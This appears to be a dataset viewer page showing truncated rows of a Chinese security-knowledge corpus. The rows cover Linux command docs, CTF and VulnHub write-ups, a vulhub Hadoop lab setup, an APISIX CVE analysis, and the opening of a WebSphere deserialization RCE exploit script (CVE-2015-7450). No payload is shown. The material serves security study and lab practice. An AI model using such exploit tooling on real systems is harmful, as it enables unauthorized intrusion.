setsebool [-P] 布尔值=[0|1]
```
### 选项
```shell
-P:直接将设置值写入配置文件,该设置数据将来会生效的。
```
### 实例
允许vsftp匿名用户... | sec-knowleage |
# 关于情报学的资料集合
本篇用于整理情报学相关的资料,从广义概念的情报出发,涉及多个领域和角度。
## 1. 学术相关
此处主要用于整理情报学相关中偏学术性质的资料,包含期刊、学报、研究机构等。
### 学报
#### 信息安全学报
中国科学院信工所主办,研究内容前沿,并且对工程化的指导意识较强,很好的学术资料。
所覆盖的信息安全领域宽广,对于情报学也有前沿的理论研究和工程化实践。
---
官网链接:[Link](http://jcs.iie.ac.cn/xxaqxb/ch/index.aspx)
影响因子:1.1410(2019)
#### 情报学报
由中国科学技术情报学会、中国科学技术信息研究所主办。
汇集广义上的情报研究。
... | sec-knowleage |
# GoldenEye 1
> https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova
靶场IP:`192.168.32.217`
扫描对外端口服务
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 -sV 192.168.32.217 ... | sec-knowleage |
mv
===
用来对文件或目录重新命名
## 补充说明
**mv命令** 用来对文件或目录重新命名,或者将文件从一个目录移到另一个目录中。source表示源文件或目录,target表示目标文件或目录。如果将一个文件移到一个已经存在的目标文件中,则目标文件的内容将被覆盖。
mv命令可以用来将源文件移至一个目标文件中,或将一组文件移至一个目标目录中。源文件被移至目标文件有两种不同的结果:
1. 如果目标文件是到某一目录文件的路径,源文件会被移到此目录下,且文件名不变。
2. 如果目标文件不是目录文件,则源文件名(只能有一个)会变为此目标文件名,并覆盖己存在的同名文件。如果源文件和目标文件在同一个目录下,mv的作用就是改文件名。当目标... | sec-knowleage |
#include <cstdio>
#include <cstdint>
#include <map>
using namespace std;
char s[] = " .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::. ";
uint64_t poly = 0xC96C5795D7870F42;
uint64_t table[256];
void generate_table()
{
for(int i=0; i<256; ++i)
{
uint64_t crc = i;
for... | sec-knowleage |
# Static Scripting 4
Category: Steganography, 500 points
## Description
> We know you all waited for it...and now it's back!
>
> The new installment in our (in)famous series, Static Scripting 4 - Saved by the BEL.
## Solution
Opening a `netcat` connection to the attached server, we hear several "rings" before the conn... | sec-knowleage |
# Bashed
Category: Miscellaneous
## Description
> My friend created an interactive shell and hid a flag on the machine, he says the shell is so protected that even the outputs are sha256 hashed so only people who know the files can view them, see if you can extract the flag
## Solution
Let's connect to the attached ser... | sec-knowleage |
# Biblical 2
Category: Cryptography
## Description
> My friend found another message! can you figure this one out too?
A text file was attached.
## Solution
Let's check the text file:
```console
root@kali:/media/sf_CTFs/technion/Biblical_2# cat biblical.txt
אנגליה אנחנו בוחנים בטמן האנגלי סולח נס גנבים אדמוני עם מגף חי... | sec-knowleage |
# Audio captcha (Misc/PPC)
This was a funny challenge, since we've done 2-3 of those some years ago.
We get a link to a webpage where we are supposed to listen to a [voice captcha](captcha.wav) and solve it.
We need to solve a number of them without failure to get a flag.
Sounds are distorted and actually it's pretty h... | sec-knowleage |
# 30. 包含 min 函数的栈
## 题目链接
[牛客网](https://www.nowcoder.com/practice/4c776177d2c04c2494f2555c9fcc1e49?tpId=13&tqId=11173&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
实现一个包含 min() 函数的栈,该方法返回当前栈中最小的值。
## 解题思路
使用一个额外的 minStack,栈顶元素为当前栈中最小的值。在对栈进行 push 入栈和 pop 出栈操作时... | sec-knowleage |
pssh
===
批量管理执行
## 补充说明
**pssh命令** 是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问。
### 安装pssh
在CentOS系统环境下,介绍yum的安装和源码安装的方式:
**yum方法**
```shell
yum install pssh
```
**编译安装**
```shell
wget http://parallel-ssh.googlecode.com/files/pssh-2.3.1.tar.gz
tar xf pssh-2.3.1.tar.gz
... | sec-knowleage |
version: '2'
services:
namenode:
image: vulhub/hadoop:2.8.1
environment:
- HDFS_CONF_dfs_namenode_name_dir=file:///hadoop/dfs/name
- CLUSTER_NAME=vulhub
- HDFS_CONF_dfs_replication=1
command: /namenode.sh
datanode:
image: vulhub/hadoop:2.8.1
environment:
- HDFS_CONF_dfs... | sec-knowleage |
# Who knows john dows? (web, 416p, 24 solved)
In the challenge we get link to github repo: https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb
And link to page where we can test this login form.
It's clear that there is SQLinjection in the code, but in order to use it, we need to first get past the c... | sec-knowleage |
# Nmap
<p align="center">
<img src="../../../assets/img/logo/nmap.png" width="20%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**官网**
- https://nmap.org/
**文章 & Reference**
- [[渗透神器系列]nmap](https://thief.one/2017/05/02/1/)
- [Nmap扫描原理与用法](https://blog.csdn.net/aspirationflow/article/d... | sec-knowleage |
# CREATE2
`CREATE2` 是以太坊在“君士坦丁堡”这次硬分叉升级中引入的一个新操作码,不同于 `CREATE`,它使用新的方式来计算合约地址,让生成的合约地址更具有可控性。通过 `CREATE2` 可以延伸出很多有意思的玩法,在 CTF 中最常见的就是利用这种可控性,在同一个地址先后部署字节码完全不同的合约。
## 原理
### CREATE
如果利用外部账户或者使用 `CREATE` 操作码的合约账户创建一个合约,那么很容易就能确定被创建合约的地址。每个账户都有一个与之关联的 `nonce`:对外部账户而言,每发送一个交易,`nonce` 就会随之 `+1`;对合约账户而言,每创建一个合约,`nonce` 就会随之 ... | sec-knowleage |
#!/usr/bin/python3
from threading import Thread
from sys import argv
from sys import getsizeof
from time import sleep
from socketserver import ThreadingMixIn
from http.server import SimpleHTTPRequestHandler
from http.server import HTTPServer
from re import search
from os.path import exists
from os.path import isdir
c... | sec-knowleage |
# At 0x439
CONST = [0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, ... | sec-knowleage |
---
title: CVE-2022-29266 漏洞分析与复现
---
<center><h1>APISIX CVE-2022-29266 漏洞分析与复现</h1></center>
## 漏洞描述
在 2.13.1 之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。
## 影响版本
低于 2.13.1 的 Apache APISIX 全... | sec-knowleage |
pidof
===
查找指定名称的进程的进程号ID号
## 补充说明
**pidof命令** 用于查找指定名称的进程的进程号id号。
### 语法
```shell
pidof(选项)(参数)
```
### 选项
```shell
-s:仅返回一个进程号;
-c:仅显示具有相同“root”目录的进程;
-x:显示由脚本开启的进程;
-o:指定不显示的进程ID。
```
### 参数
进程名称:指定要查找的进程名称。
### 实例
```shell
pidof nginx
13312 5371
pidof crond
1509
pidof init
1
``` | sec-knowleage |
#! /usr/bin/env python2
#IBM WebSphere Java Object Deserialization RCE (CVE-2015-7450)
#Based on the nessus plugin websphere_java_serialize.nasl
#Made with <3 by @byt3bl33d3r
from __future__ import print_function
from builtins import chr
import requests
from requests.packages.urllib3.exceptions import InsecureRequest... | sec-knowleage |
# MMORPG 3000 (web, 2 solved, 470p)
We failed to get the flag during the CTF, but only because we missed a funny `hardening` of postfix mail server at the very end of the task.
It might still be useful to provide the description of the intermediate steps, because the challenge had quite a few.
## Analysis
In the task w... | sec-knowleage |
# querying
Web, Medium
## Description
> In German, Graf means count. Anyway I'm certain he likes pie. Who doesn't? He also won't give you the Flag as he keeps track of every request. Nothing to see here, please move along. http://199.247.4.207:4000/
A tar file was attached.
## Solution
Let's inspect the tar file:
```co... | sec-knowleage |
# Cheesy
Reversing, 100 points
## Description:
> Where will you find the flag?
A binary file was attached.
## Solution:
Let's run the file:
```console
./reversing1
QUFBQUFBQUFBQUFBQUFBQQ==
Hello! I bet you are looking for the flag..
I really like basic encoding.. can you tell what kind I used??
RkxBR2ZsYWdGTEFHZmxhZ0ZM... | sec-knowleage |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.